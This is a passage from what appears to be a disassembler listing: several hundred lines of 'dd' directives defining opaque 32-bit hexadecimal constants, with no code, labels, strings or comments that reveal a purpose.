		dd 71A780D3h, 8F7807D9h, 0C0AABD7Eh, 0E93290D2h, 3D8B5D0Eh
		dd 8016AEC1h, 13C05C79h, 0E47A00D0h, 0A829C674h, 0F91393C7h
		dd 0D00092DAh, 0BEAC9B15h, 7E6D00BCh, 8931CADBh, 7B00D9AAh
		dd 55E37351h, 5AC18C39h, 46300092h, 0CF6AACF8h,	75C70D00h
		dd 1FC5D1BEh, 0D0220493h, 0C7FEE068h, 0DBEC50D0h, 70BC95D9h
		dd 0E680442Eh, 8179759Dh, 0F85F609Ah, 2EE9A546h, 0AB423101h
		dd 0B4F1C003h, 568BC4h,	0D26CF483h, 5708BC82h, 9588CF01h
		dd 5C7F9B7Ch
		dd 19104C8h, 42DBCAF4h,	0DC0933D4h, 1E0029BFh, 54E937A4h
		dd 14D1E33Ah, 0D43D4A8Ch, 0D6D93518h, 601C6270h, 22405DD5h
		dd 7FDF380Dh, 0F7E40C42h, 9711C9C4h, 0F9E1DE03h, 0B87AB27Dh
		dd 904691h, 27799243h, 0B4FFA755h, 36D5B001h, 9BB867D9h
		dd 0CF20D4h, 78EB2508h,	0C6918CB7h, 766039h, 0ED2184D0h
		dd 7F9B9844h, 0B37EE42h, 1F6C28B3h, 2EA93F81h, 8812C8EAh
		dd 3452BC1Eh, 464AF680h, 1F68BEF5h, 8AEEFA8Eh, 703C79h
		dd 0D5702EC9h, 0AD00C778h, 0F2FEAAE0h, 0F85E66B9h, 92CC00A5h
		dd 4C5C1A48h, 5500A6D7h, 4264EFECh, 3812EB41h, 0F1000E87h
		dd 0A3F0FA7Ah, 80000C1Fh, 5C91D07Eh, 7B89DAF3h,	0F89E0015h
		dd 76E11B33h, 871F11B4h, 3A80EB74h, 301A065h, 0B76126C2h
		dd 0DDA60648h, 190030FFh, 177C3D28h, 1EF1Bh, 711F2FCAh
		dd 81FFD8D5h, 0C670A871h, 0C5E50907h, 52E03AB8h, 5E766h
		dd 0B045D68Ch, 2F8BD9C6h, 0E5C89300h, 4152870Fh, 8AD70C0Dh
		dd 92B97C5Ah, 2F4D4Ch, 0C43E24FDh, 0DDF803h, 0ADEB50A2h
		dd 711EFE96h, 77E00900h, 827662CBh, 375B3E40h, 0B2B86D04h
		dd 0A234C0E6h, 0A4003024h, 94BD1823h, 0DAAF88h,	11345B39h
		dd 1DCEE8D4h, 29CCFA07h, 0DF306255h, 2022B8Ah, 0BAE08768h
		dd 204037CDh, 3FB01681h, 70A2469h, 42E2FC83h, 0B4994094h
		dd 68B8C3E7h, 3000E0FEh, 8A98D511h, 8C9D61h, 5095E255h
		dd 0E44DC28Dh, 0BDF06300h, 1C812D4Bh, 96293949h, 42CE183h
		dd 9BB8B759h, 4D766AE9h, 3C7EF800h, 70C7D643h, 0F9D500ACh
		dd 37AD8AECh, 240096A5h, 55A1CE4Ch, 17011A15h, 0B197FA0Ch
		dd 525BE833h, 0AF589800h, 0E4BD073Dh, 70B7EB7h,	4527D1F0h
		dd 8059E0BEh, 0DB07EB49h, 3D85688h, 79392A80h, 0B09D073Ah
		dd 90BDF953h, 0A805A66Ah, 8052CB3Ah, 9CB494B2h,	0AFF7DFh
		dd 5E2D44C6h, 5370E991h, 7D90F09h, 8A80061h, 50FDBC78h
		dd 379F65h, 0BA1DFC16h,	1FC77994h, 9EB77400h, 2F5BF04Bh
		dd 0E3DB0012h, 19FA8F29h, 0D0E48625h, 986E48h, 672E330Fh
		dd 76CCA459h, 0AAAD026Fh, 31F0C791h, 0E0A050E2h, 0A57E51EFh
		dd 479E6200h, 0C3AA76DDh, 0B2251270h, 0DAB905ECh, 457BC07Eh
		dd 5B0EF713h, 604B18DDh, 5ED409AEh, 0EC037BC3h,	58BC006Bh
		dd 215C38D8h, 98E681B0h, 95FAC91Fh, 66E54EC0h, 0C00F93AAh
		dd 0B5A56078h, 0C2266EE1h, 200D980h, 211085A6h,	2AE5FD03h
		dd 86AAD887h, 0E8D38065h, 9181481h, 0FF307F90h,	0A0B30112h
		dd 0B9E7FB36h, 0ABE1EC3Eh, 0A9FD0700h, 0FFF7AF4Ah, 7D4B319Ch
		dd 0EC9ED570h, 710EDF80h, 2008ABE7h, 5B448397h,	775944E3h
		dd 0E1123F00h, 71AEB694h, 0F734002Dh, 0D53EB4E7h, 840A4D81h
		dd 0BCD3EA3Ch, 0B975E981h, 13715C9Eh, 52C20h, 0DC2252D5h
		dd 0D83E7B8Dh, 8518F960h, 0A0662BBDh, 946EBCh, 0F51E2F4h
		dd 8D89E82Ch, 79983300h, 3F249A5Dh, 0C4AA0383h,	8FB52677h
		dd 8EAB0CF3h, 2DD103A8h, 7AA30800h, 3A9D805Eh, 4FCE00AEh
		dd 1EEABA9h, 53003C27h,	0C6081FF5h, 0A8DEEAh, 4424E922h
		dd 0E4AF6B49h, 4200E0ECh, 0A998A6D6h, 709EA47h,	21A122F1h
		dd 0DBF601Fh, 0FF00E8BCh, 28D634CDh, 0AFC79E3h,	371BC30Ah
		dd 45505A8h, 36AC00CBh,	0E3C7E191h, 0EA8BC500h,	0E661735Fh
		dd 0CB7DBAh, 2BFFE974h,	704928B4h, 1729DD00h, 7FAF8434h
		dd 91DF64Bh, 0A8196595h, 0AD0F0880h, 7B7C214Eh,	27043B00h
		dd 2D7AC3FBh, 3E3EA70h,	637557A2h, 0CBA822AEh, 0CD1F7723h
		dd 0A406E98h, 325B230h,	88DD001Bh, 5A45EE2Dh, 82064E91h
		dd 8F59558Bh, 649858D8h, 4772BD00h, 0D1368DCBh,	0E9F67100h
		dd 0EB1093B8h, 8291C0CCh, 0B1946723h, 6352600h,	0A89D3DAh
		dd 491702AEh, 0CA8299ABh, 4A2BE040h, 0E0E28116h, 0B794BA07h
		dd 23833380h, 0B05702BAh, 0B8196218h, 0C10BB560h, 95275312h
		dd 0C6EB3C40h, 72F5972Eh, 496C008Eh, 5C6918CCh,	0FA001E31h
		dd 0B003A314h, 546E1Ch,	79B81F7Ch, 803F2A23h, 0EE889B00h
		dd 18A06791h, 2D420016h, 0BE6BA915h, 60003F83h,	19179CD7h
		dd 2C0FF9C8h, 3A9425C4h, 9FA0B904h, 0E030C096h,	0D45E3868h
		dd 500A0E8h, 561A4631h,	4A6F95B2h, 23FE20B8h, 3D4F552h
		dd 0B47C88CCh, 4C91321Eh, 6CEC2401h, 0C6168000h, 78A8AC5Bh
		dd 0BB4EC73Fh, 9466C3FDh, 7B1CF105h, 0DC89EA8Eh, 617D9180h
		dd 0ABC5C2D7h, 0D148EC60h, 0DD2932h, 4F058B07h,	374A818h
		dd 0BC973403h, 90C4CB64h, 0F31ADB0h, 9ABE0F4h, 93FD0EE3h
		dd 245D42A1h, 68FA7750h, 68C024ECh, 819F98C9h, 0DE160066h
		dd 0DF109B7Fh, 711C95E4h, 0C680EB76h, 0C24D48E5h, 0A2302836h
		dd 4C410090h, 0CCCA6ACBh, 4E005FE6h, 765C9746h,	4CBCC303h
		dd 0B7091C15h, 4890E579h, 0EA544DAAh, 1F0546B0h, 72C2102Fh
		dd 98B410h, 861AB728h, 7C72A01h, 0C49AEF2Dh, 0A12310A3h
		dd 8CB87B80h, 5E158B1Eh, 0E0FF384Fh, 0B575FA65h, 0B864FEC0h
		dd 8B5B0FB0h, 962303B6h, 44B3080Ch, 0BFE988E0h,	85006171h
		dd 0FFE78B28h, 0E5597Dh, 44CAC5FAh, 83967FD8h, 18A7EC02h
		dd 48549274h, 398BEA4h,	0FD797E8Ch, 0A2BF63CBh,	0F840D8C6h
		dd 930058BBh, 0EBF33B64h, 12CA5250h, 41E496h, 0AD590A98h
		dd 0FC907310h, 45615507h, 0C2A054DAh, 16CF42F6h, 7E9788h
		dd 0CF967E1h, 0C300E82Ah, 5EF43E34h, 206BAFh, 89A26921h
		dd 0FD6E16FEh, 0E8E7B000h, 37AF5FC0h, 0E9D09015h, 1E45E809h
		dd 6B004C9Ah, 6B22081h,	0EC88DF0Ah, 287A0064h, 0A2E5A095h
		dd 91002B05h, 3645BB48h, 240C83Ch, 93B93119h, 10401834h
		dd 9900F32Eh, 49A66B81h, 0B83A5BDAh, 0DE130004h, 617F8AB3h
		dd 0FC000450h, 0DFF5EB93h, 9BE00Ah, 0C34F94CEh,	81074284h
		dd 0AD459900h, 0AF6A6E1Ah, 8D5400C0h, 502A3F71h, 2409C612h
		dd 0CCDBFAh, 3687D342h,	50E34C85h, 5CCB2C00h, 67A5B7D4h
		dd 2E40F13Dh, 8800B6C2h, 7255314Bh, 0CD2A0257h,	49208082h
		dd 0F1715C41h, 693FE89Bh, 0BD2E0B00h, 8DED1722h, 0DB8F0E2Fh
		dd 3184A5E2h, 4B58C0C0h, 87B0EF7Ch, 9EC9732Eh, 8E1B8200h
		dd 1EB1CB31h, 0C3B3AA36h, 37C84B43h, 5397AFC0h,	0AC248101h
		dd 7056741Eh, 5E78A140h, 9065003Eh, 88D4C31Bh, 985CF772h
		dd 0D05A008Eh, 9AE7746Ch, 9ABE7008h, 24A5F400h,	8C911Bh
		dd 27CED3B4h, 0B630090Ch, 7EB72028h, 51AE0022h,	83DF9BB8h
		dd 0D207F572h, 19C164E2h, 76DE7AC0h, 0A35F073Dh, 11CB8E6Fh
		dd 40D838CEh, 965B3CA0h, 11576030h, 0CD0E8A2Ah,	0BD10D660h
		dd 0B84E0260h, 0E0E6387Bh, 370E1BAh, 199635C7h,	9DB03C08h
		dd 5B007A40h, 9AC91F4Eh, 0F78865h, 81290AFDh, 2BD31538h
		dd 0D62CA9A0h, 0E922E890h, 9C2901B6h, 1CEBA4FFh, 1E8BA9Dh
		dd 8ECB033Eh, 5060086Ch, 32150452h, 80447E14h, 4B64A78Ch
		dd 9DBC318h, 2CEE97DEh,	846C99E9h, 0BF63FDEBh, 8883C0C3h
		dd 8EDC80h, 0DF5F7E3Fh,	4068E11Ch, 79E01E00h, 0DE4D88B7h
		dd 7BA201A1h, 984B77CBh, 2BB2F8EBh, 94E73Eh, 0CE0A8C83h
		dd 87EA0Fh, 0B939F44Fh,	0BD43DB8Dh, 0C79F1C12h,	47E7140Fh
		dd 0BB3CCBh, 0CE3E2B15h, 483977A6h, 10010BFh, 0F74EDAABh
		dd 2A004BA4h, 3D179723h, 30317819h, 0D0688988h,	52045733h
		dd 0C24C5479h, 0C5E1480h, 0A5028F8Dh, 0C8A0F85Bh, 2CCFAA10h
		dd 0AC80DB27h, 23063894h
		dd 20215BE7h, 0B72D4C03h, 98053029h, 0AECCF5h, 0DF208431h
		dd 18274547h, 9892B4A2h, 90997C90h, 0BE2CF107h,	8A112139h
		dd 6470AF58h, 0A14A263Fh, 8A50034h, 0B54EEC8h, 0C336A400h
		dd 1A62758Eh, 48340029h, 0A0D5F2B7h, 97730C63h,	5651871Ch
		dd 0C7800CE4h, 992CA821h, 0F6060EF4h, 0C180E379h, 0ED6DEC8Bh
		dd 95596100h, 92557CB1h, 1B12006Eh, 67E25E7Fh, 0BB004535h
		dd 0C07AE672h, 40254DBh, 0D8BC66DDh, 0B23827Eh,	0C50DC0E0h
		dd 5C5F5007h, 3610188Ah, 7B38DFFh, 0C1028C68h, 3717E07Ch
		dd 0F745079h, 0CA00FEBAh, 4BB2CB23h, 3FCDD954h,	0A1002187h
		dd 0F618362Ah, 0E707CA8Ch, 0BFC37FCEh, 40269042h, 24CDA663h
		dd 3D944E11h, 6CA82Ch, 733E2078h, 0D63A1427h, 0CAEC0188h
		dd 3CC1DC3Fh, 0AB0ACC40h, 13BD00C7h, 0A9EB7D3Eh, 0B00FFEDh
		dd 2D4B9377h, 3DC2E89Ah, 19008AB4h, 9BE413B9h, 0CA013D0Ah
		dd 80A55BFFh, 0DC70BCD2h, 0AD0701DCh, 47441CEh,	4BE3E0AAh
		dd 0D4001977h, 0DA3C96BFh, 0DD307h, 0CADFD864h,	0A693DD6Bh
		dd 80444038h, 4ABCD2Dh,	30F6A9h, 0D3C0B064h, 0B29AC47Ah
		dd 17C2FE0Bh, 5C08A09Ch, 4A9457h, 0C6CC093Bh, 0F2D0DCCAh
		dd 0FE17480Ch, 903ACADh, 0B4463D2Ch, 9471EA80h,	13015023h
		dd 12C428C6h, 4730BBA0h, 0FD380070h, 324C3D74h,	0BF4EAF80h
		dd 23550000h, 35E817Ah,	0B61633D6h, 46C8A584h, 43099935h
		dd 0F7ED9C95h, 36E2C600h, 5500BC45h, 0C76AD60Bh, 1420DAh
		dd 76BFA2DEh, 10306713h, 8061790Ch, 0E6D96055h,	8C3900E0h
		dd 71C1B978h, 0CD17B8A8h, 4807B19Eh, 6CF8072h, 0F130896Ah
		dd 0EFD628A7h, 3380F51Ch, 0D13E6C9Dh, 0B1C30050h, 1EA6BF68h
		dd 7004A87h, 3CD818F5h,	26E3E62h, 77DC65C8h, 0CB62AFBBh
		dd 30FF5040h, 0B13CFA07h, 0F1B0CCD0h, 9018A0ECh, 9FD7510h
		dd 39E1D822h, 0E5C8D863h, 3A745874h, 0CEF05406h, 0A9A17Ch
		dd 0C9F8B950h, 316E1908h, 0D9AA6218h, 0EE9968h,	0E8E2C25Eh
		dd 6CFCD69Bh, 2BB70A03h, 0E0BA3D08h, 79A1998Bh,	4D76FEh
		dd 3C37C7CEh, 0B8C0AEE5h, 9D59A800h, 0F2438AA9h, 0D3D93FDCh
		dd 0F338C486h, 0A1001883h, 0E61DB20Ch, 793C386h, 0A86E37A7h
		dd 7A206CE1h, 0E307B2FAh, 96C35EEBh, 0B48609D0h, 7127E6E5h
		dd 3C4807AAh, 7618EC65h, 750C18BFh, 409E95A8h, 6A3F3CEBh
		dd 0AB11390Fh, 52236F01h, 0C286F02Dh, 8D6FD178h, 650D00E0h
		dd 183B44B4h, 0F9EF2B3Ch, 21C65054h, 1889BEE6h,	51433875h
		dd 0C30CB578h, 0D198DA58h, 150EC1Ch, 72B78754h,	80C34D8Eh
		dd 213ED040h, 60367977h, 62C248CCh, 0F30C9CD1h,	285F0267h
		dd 3D927CC0h, 74066A4Fh, 60CF047Ah, 72713A60h, 1B0A349h
		dd 0FD1A0246h, 0C4F68494h, 1400B431h, 43DC78FCh, 60670Eh
		dd 0F7A5332Ch, 0DB905109h, 15E60D00h, 5C6C20A8h, 72D1EB6h
		dd 3D388066h, 0D723FFFDh, 0F7BF2803h, 0E8099545h, 3E1447AAh
		dd 0BC05B916h, 40672B02h, 6033258Ch, 0E3011C0Eh, 0E7A4FC3Dh
		dd 0C0D68939h, 39FEBF4Dh, 4F801F35h, 56D71B50h,	6215B816h
		dd 68884A5Eh, 3750448h,	0EC292E57h, 58FB1AE0h, 2B124890h
		dd 58024FC0h, 8F928612h, 9370A0ACh, 311A5F9Dh, 6C29CADCh
		dd 8243114Eh, 9B104C12h, 88889C4h, 188744E9h, 0B99240h
		dd 0CA38CD3Fh, 0AC0A6B32h, 190E01B0h, 60CE4AFDh, 7399692h
		dd 0F69302AEh, 0E437F909h, 5F446F60h, 4FE13C03h, 0E8B73E8Bh
		dd 50E74FEh, 0E05ED023h, 6DD58365h, 0F001EA9Bh,	0D23F51ACh
		dd 17EC5F54h, 9CBE0167h, 6B682C1Ah, 50E1D8F7h, 0A9460700h
		dd 4DB98936h, 9AB30021h, 5FCE17DDh, 0E8039822h,	0A5EB6CE2h
		dd 1C0898EFh, 4AE665h, 7212065Eh, 9C355C2Ah, 2F072671h
		dd 9F64E232h, 0A4F917D0h, 37630051h, 50DD8044h,	0FEB07AECh
		dd 0E164F101h, 54B325EAh, 1080F6F5h, 7909457Fh,	0F9E07270h
		dd 9092B2E6h, 0D6D2500h, 86F7E818h, 0A948004Bh,	70EDFCCEh
		dd 0C10B3511h, 1F178Eh,	6C5BE19Eh, 0F8B77004h, 6E9088h
		dd 2703B43Dh, 3E100DA4h, 0AC4C5C00h, 0C91CD09Fh, 6519002Fh
		dd 39B3AE1h, 391D5EA3h,	4683A498h, 0EE3385C8h, 16D70010h
		dd 2259C069h, 4400D1CEh, 624F5E57h, 942055h, 457CC9DDh
		dd 0D6F72E3Bh, 0EF6A0600h, 1A19DB8Ch, 3487FC1h,	0B14CD216h
		dd 0FCD84930h, 9D002870h, 89CEF2FBh, 1F5AD607h,	801A8AB2h
		dd 9404478Ch, 6C008711h, 8F0F2150h, 334BC27h, 3FADCE3Ah
		dd 6B90D5E3h, 3B008EAAh, 8A110829h, 48C92E8Fh, 0B1187CE7h
		dd 7A894898h, 63133E00h, 70DE2349h, 0EC0A14D2h,	0BF00C84Ah
		dd 690E8B6Dh, 0BB1E5FF0h, 1243CB5Ch, 98189883h,	1F22AFA6h
		dd 0A4C720B2h, 0CD0D8038h, 0ECA0D90Bh, 3ACAB51Ch, 0C6A25400h
		dd 0DA596Ch, 27261DD4h,	9C50D2C9h, 47CDFB00h, 588BDC0Ch
		dd 0F03D00B8h, 0BEAB0F76h, 1EB0EC31h, 0BC002A7Fh, 2965859Ch
		dd 745E1423h, 6E660087h, 0F6693AE0h, 47076018h,	0A14572A0h
		dd 553DDCB0h, 0F88C00CAh, 74E21FBAh, 5A00060Ah,	0C4AFE989h
		dd 78E41230h, 51A70207h, 6C5CF09Dh, 33A2BB80h, 3C00B317h
		dd 6F57AB1Ah, 1F9A32Ah,	0DD642067h, 0C096510Fh,	915014B0h
		dd 20069F6h, 0CFCA6BFCh, 0F388078h, 0F432551Dh,	1600B0CEh
		dd 659BEDD1h, 0ADAF3401h, 15352A57h, 0C31AE4h, 0A4C29E23h
		dd 8AE08129h, 8CF52C00h, 1F86B7B9h, 1DC40051h, 95E7CDA3h
		dd 19F02672h, 0D29CC700h, 91E96017h, 1E6498B6h,	40236340h
		dd 0B5B17852h, 0C00AA81Bh, 9C92E6BAh, 74F01300h, 0C8354Ah
		dd 61A755A4h, 0BB7C8E30h, 5FA33D00h, 5803A848h,	0E09C3E1Eh
		dd 0EC070174h, 0B5631A84h, 8B183070h, 360022F8h, 8DBB5331h
		dd 10F60Fh, 18153AD4h, 0C557761Ch, 0F342231Bh, 515FF018h
		dd 0AAAB3A60h, 0E93DDD80h, 5C7925B3h, 10D10303h, 0B05A870Dh
		dd 4B16BEh, 19685FF2h, 0ECF8CA86h, 70A7F24h, 0A22F0600h
		dd 798CF2C4h, 7711002Dh, 9FD7DB96h, 35009492h, 6C6FBEFDh
		dd 0DA984Fh, 64501524h,	8E2166E9h, 0F6EDCB00h, 0A8B40D19h
		dd 51D40371h, 0B0A1897h, 3DB36000h, 45AA2C59h, 5B22077Ah
		dd 0D0A34693h, 274958BAh, 1494B209h, 6AA480F0h,	0C51519h
		dd 0CFD71FD3h, 0ABF2BDE1h, 0C0C17000h, 0A45E9977h, 4EEA93h
		dd 0F76CBC4Bh, 0EE19666Eh, 24844300h, 2EAA475Fh, 0F26300B2h
		dd 0BDEC3D15h, 6004CBCh, 0C4D9C597h, 9E6AAAh, 234B18AFh
		dd 1478A4E0h, 6355A816h, 0F7202007h, 6C2D22B0h,	7FC928C2h
		dd 2F9700B0h, 855C10Eh,	0E7099245h, 0A8C705ACh,	0D00919Ch
		dd 1294B714h, 657B1D95h, 78390484h, 0DB9C809Bh,	8C038BBBh
		dd 0DD825489h, 11480E8h, 0D9F2041Fh, 0C006A0B8h, 0B93C0D1Fh
		dd 1A853B00h, 0AC2FB24Ch, 98A800A6h, 939AEF7h, 520E8061h
		dd 7D93A8Fh, 0BE904085h, 62504Dh, 0D26C39C0h, 58158223h
		dd 666D0400h, 0F81F049h, 98651C21h, 0CAD08E80h,	24AA2938h
		dd 8059C539h, 1C69F838h, 0E0574F92h, 44B300B5h,	0F39D53E5h
		dd 5005542h, 375F5162h,	3280F3Fh, 85BE267Ch, 0E5FA0992h
		dd 0FB7D8460h, 1500A07Ah, 0DF87BA6Dh, 616F5Ch, 3E824DF0h
		dd 52833AC8h, 434EE900h, 3FE470D8h, 271E4E0h, 7C58DF96h
		dd 9BE23407h, 784A7860h, 0E0005FE4h, 0D994E391h, 0E76F05h
		dd 435E708Ah, 75F3A8DEh, 9C63367Dh, 801BB070h, 1D5627C4h
		dd 0BCBA26h, 651A864Fh
		dd 0A9000F1Dh, 6778AB9Ah, 1ED5A89h, 57C2D76Bh, 0E8F723A1h
		dd 754CDC72h, 61B91C68h, 631F7F41h, 9DDC338Eh, 4DA71839h
		dd 0CB351064h, 2FE4D501h, 53603DBCh, 9C4087FBh,	39B448Ch
		dd 0D1C794A1h, 0AE803C70h, 0DE09E603h, 1651471h, 9A826A82h
		dd 0FB5FEA20h, 0CC1D8DCh, 8BA34864h, 2600D640h,	620FB3EDh
		dd 0D88E8h, 0AB15CF75h,	0CAF94D3Eh, 119DC000h, 0E7CC04ADh
		dd 0C2070008h, 3AD73428h, 0CD009572h, 0A6760F61h, 0F64A4182h
		dd 9BF00E0h, 0F0A52399h, 0E45073F1h, 0B80051DCh, 0B92989E7h
		dd 4B45Dh, 1483C368h, 0EC4BAAF1h, 6F3B12F6h, 0CC29800Dh
		dd 0B6DAC05Ch, 36CD006Bh, 237844E3h, 82024F07h,	7C62BAD2h
		dd 0EFED0149h, 0D905E8ABh, 3074B900h, 0CF6CCA3Ah, 73DE07B1h
		dd 513B5A46h, 24D0E650h, 9E00E298h, 0F4DF1A16h,	26C8F071h
		dd 1D9C05AFh, 0F8043EC1h, 814AEFEEh, 309BD1ACh,	0E8E6482Ch
		dd 920CF9FCh, 0A46E2B25h, 367A2EEEh, 4E69004Ch,	3FDF07C9h
		dd 31B65002h, 6497E509h, 9A84006Ch, 55A79CFDh, 3F73F95Ch
		dd 0C490377Fh, 0BE004A72h, 0D4C583A0h, 6A347Fh,	9D38CDACh
		dd 0E1096245h, 46FC6500h, 5CA3FBCh, 4F1F2582h, 0B545C80h
		dd 100152DEh, 0A660F030h, 6BD5C05Bh, 7319AC30h,	1E0980Eh
		dd 0DF647884h, 72BCE1EEh, 0F6BD001Ch, 0A8C424CEh, 0AE6B38A5h
		dd 0E31BDF00h, 6125CC3Dh, 0D3007CF4h, 45D639E6h, 7B04FF54h
		dd 5AEFC82h, 0C3432867h, 0DDA04063h, 9F244E50h,	3900DEF4h
		dd 5707D169h, 7531AE1Eh, 448010Fh, 94F4137Eh, 15A030F2h
		dd 23D64607h, 7AD09C80h, 39E1332Bh, 3E0012B7h, 1C6B490Fh
		dd 16038A4Dh, 0F8D6C4A4h, 7273C8D5h, 779400F9h,	0E39683A3h
		dd 20C615Dh, 38444EB6h,	8A660048h, 797A2CD5h, 8600C6F1h
		dd 64C3D22Eh, 7DF0E5A0h, 12AF00ADh, 7D9150BBh, 1D78C148h
		dd 3130CE71h, 2E8DA9E3h, 95F200C8h, 4DF3395Fh, 0B100690Fh
		dd 5E05B656h, 1E513Ah, 0DD6F649h, 0C5C2AFCh, 0A2008FF8h
		dd 0BE13852Ch, 701ED5h,	868C6618h, 463F4F49h, 98009496h
		dd 0E4368778h, 0CB410937h, 0CF80E63Bh, 0F8A696CCh, 0FAFE1A00h
		dd 0EFA99984h, 1DCA00EBh, 0CC5BC063h, 0A63D8FD4h, 45578075h
		dd 0C21C20D8h, 7F2A0C71h, 5E60B723h, 7258B979h,	80E7007Fh
		dd 0D0FED6A2h, 649B0912h, 0AC628CC4h, 0FFB21019h, 6CAE17A0h
		dd 0A1E83927h, 0B6741A14h, 2FBB5980h, 0D771C390h, 56008F7Bh
		dd 0EA996662h, 736164FDh, 0A05000A7h, 0F68394Bh, 1A07E6D0h
		dd 5D19626Eh, 788171D0h, 0E7CA00C5h, 65D66BB2h,	0B60F6AEFh
		dd 42CF79FCh, 0E0945BC6h, 0B88DB93Dh, 0A058005Ah, 1031CB7Ch
		dd 553E8BD0h, 50630773h, 0DC40F734h, 5CEA77CAh,	6B17A222h
		dd 4DCB077Dh, 0B2D633Fh, 28FDCDF9h, 63C20AACh, 114080AAh
		dd 3A76C60Ah, 640E020Dh, 556AA3F7h, 8846490h, 0C392037Ah
		dd 42E0DCB1h, 86014943h, 0F4F8C2DDh, 8B718B30h,	2C759439h
		dd 0C4F5A2h, 8DCF2C15h,	38006F4Ah, 0C5112E22h, 733A16h
		dd 0A94C12D9h, 50E2F4BBh, 0F3236A03h, 0C54F3D1Bh, 0EA119300h
		dd 0F60182E4h, 0A0341E4Bh, 7EC4C03Ch, 335261E3h, 0CD5E2800h
		dd 490E40AAh, 302AF2F4h, 0C3C05F01h, 0DE03BD07h, 2B418EA5h
		dd 17197926h, 2204FAh, 6A2047E6h, 0C40082BEh, 0A6D5587Ch
		dd 41DB3E6h, 26AA984Eh,	0E24CE02Ah, 0EF7B5900h,	39E5E4A5h
		dd 9FA0081h, 0CF7D12CCh, 1C60107Eh, 96A8C860h, 83D9E39Eh
		dd 0AA2389Fh, 0AC6312h,	0C32FACC1h, 0C8A8D0D6h,	0C00071EAh
		dd 2915C8E9h, 2F71037h,	38E3AF73h, 3C48B909h, 68C0766Fh
		dd 8E66A9C9h, 0A2B0D9h,	192559F7h, 0AC01D1D0h, 0D23F8613h
		dd 0BCEB4090h, 230B062Ch, 71D7D1BFh, 0B1B68000h, 24AEF1C4h
		dd 6B1F0222h, 2CD4566h,	370FE07Fh, 77595D9Fh, 0A4C8B600h
		dd 95EE3839h, 81BD7A3Eh, 4EC35EECh, 7630A89Bh, 19DA03FBh
		dd 0E24B7C81h, 4EE1129h, 6A1698F8h, 301015h, 0F1DE042Fh
		dd 0E700B439h, 0AE9FE0EEh, 1895404Bh, 28F2510Eh, 240B135h
		dd 0C4B34065h, 6909A900h, 3ED7ACCCh, 1DF87FBAh,	853549CAh
		dd 2292D6h, 503470D0h, 18006DDFh, 49F90159h, 25773Eh, 2FA45140h
		dd 0F78D60D7h, 0E228BA1Eh, 324BE980h, 66E89Ah, 0CAD52CE5h
		dd 9C5E3119h, 20004C72h, 6D609F1Fh, 362991Ch, 83DA46ABh
		dd 68014F66h, 74EF6790h, 9F40CBD1h, 0EEBED82h, 0B9D31751h
		dd 3911E8ACh, 0FC312509h, 73808003h, 0FF45EEh, 0B4E9C69Eh
		dd 0CD1991D0h, 80E0233Fh, 7C3C57F9h, 0F387F6A8h, 0E6C0A854h
		dd 0A1D373h, 0C0E2394Ch, 0EDB951ECh, 948EC900h,	2D68B63Eh
		dd 46E43Ah, 0A54312B5h,	13361485h, 0BEF68300h, 8A3BFFD9h
		dd 3E5A0023h, 2E454FD3h, 0F201B692h, 58D96E14h,	0A2C460E4h
		dd 0C6360455h, 0C3724CD3h, 0AFC87702h, 823ACE3Eh, 9AB8061h
		dd 0C814FDB4h, 0EF1F2665h, 1CDD00F7h, 0F952819Bh, 99267600h
		dd 5720C4D1h, 1ABC0090h, 0E767EF61h, 2F0177E2h,	5D383B02h
		dd 3F2013B5h, 627A1853h, 1D6CF00Eh, 777E4D00h, 61413AEBh
		dd 70C800E2h, 31110174h, 0FD000836h, 0E4125C2Dh, 73D9F1h
		dd 0BAB94171h, 0ABCBD3DEh, 0B200E971h, 0BCC1BEAAh, 1FB8359h
		dd 10A4A514h, 0C006D756h, 19C0CB21h, 0DC920E78h, 4EDB2488h
		dd 84B703B7h, 30B0F6B9h, 0A9005E4Fh, 0BB56F101h, 4542C0h
		dd 74F07C9Ch, 0F3840FD7h, 87346200h, 76D97AF2h,	49513CE9h
		dd 373E2080h, 0D6E1670h, 0BED5A09h, 979000FAh, 7E047F80h
		dd 0F46009Fh, 0B760304Dh, 47E47A3Dh, 4FA90700h,	0F910651Bh
		dd 0C0D92E6Dh, 0A0860093h, 0B69185EFh, 7B94BD00h, 83B0F969h
		dd 786660E5h, 0D8EDB8A5h, 0AAD8E03h, 690E7Dh, 0EFD36C18h
		dd 733FC255h, 0F4AE8A00h, 2C9227CAh, 8284A8A6h,	5AE53AC8h
		dd 20B46003h, 0B0C6507Ch, 44452700h, 583B895h, 0C3803CACh
		dd 72511305h, 0A8D4407Bh, 0E41C8E22h, 31408900h, 794DE655h
		dd 197B0077h, 21A903BFh, 0D9003642h, 0BCF7ED52h, 6F40FD8h
		dd 9C670BE0h, 21D197Bh,	0CB80ACD6h, 9B32B995h, 0F59A24C2h
		dd 4BE300A8h, 13FEE14Ch, 13C6473Eh, 6F1E9503h, 24B60A45h
		dd 6358BB82h, 8ED99844h, 294C0078h, 0EBD6FD81h,	0C09E15Bh
		dd 9BA6474h, 0DADE00A4h, 0B72CE3Fh, 59FED16Bh, 0D89CBC01h
		dd 0F0CCC00Ch, 0DF0077ECh, 1BA3489Eh, 3DF84E18h, 96BD9367h
		dd 1C9D4700h, 0F71E4EDh, 4CD62C26h, 46AF2501h, 32F8697Eh
		dd 20C60E1Eh, 0DB010BBDh, 80A0D8EEh, 56B4CD0h, 3D96822Bh
		dd 7A006580h, 95DA0925h, 0C6007F1Fh, 97B5A0A4h,	25FD052h
		dd 0E99C5DCDh, 8E006F84h, 9A33AC11h, 85103C60h,	97C72380h
		dd 553CD3BFh, 1FEB4000h, 0E99534A0h, 0ADDD007Ah, 0A94D0AAAh
		dd 8060D4B9h, 0F7707F48h, 0A21E0051h, 0FCE33354h, 6F0CDF1Dh
		dd 402C3122h, 9020F15Fh, 0A37C00BEh, 0F4066718h, 6B0029CCh
		dd 0D3F39933h, 3F009CAh, 834A149h, 6401C6D0h, 0FEBA4B0Ch
		dd 25EC87D6h, 3F470F2Dh, 0FD43F77Ch, 6000283Eh,	30935136h
		dd 7FB9E45Fh, 0B39000FBh, 0BAFFD5E0h, 6F3C06C3h, 0ED8F821Eh
		dd 40CAFC51h, 0E68AA9h,	40FE56C7h, 5C4FCEF2h, 0F152F307h
		dd 0ED105E8Bh, 0C3D277h, 6E233895h, 0A7C8D3A2h,	766CFF48h
		dd 0A4B8FE01h, 0AED54ADCh, 729904CCh, 6A2404FBh, 8012A10Ah
		dd 3C647FD0h, 1FFDAF3Eh, 0D980CA49h, 8FB5C730h,	0BF700701h
		dd 92BD52E1h
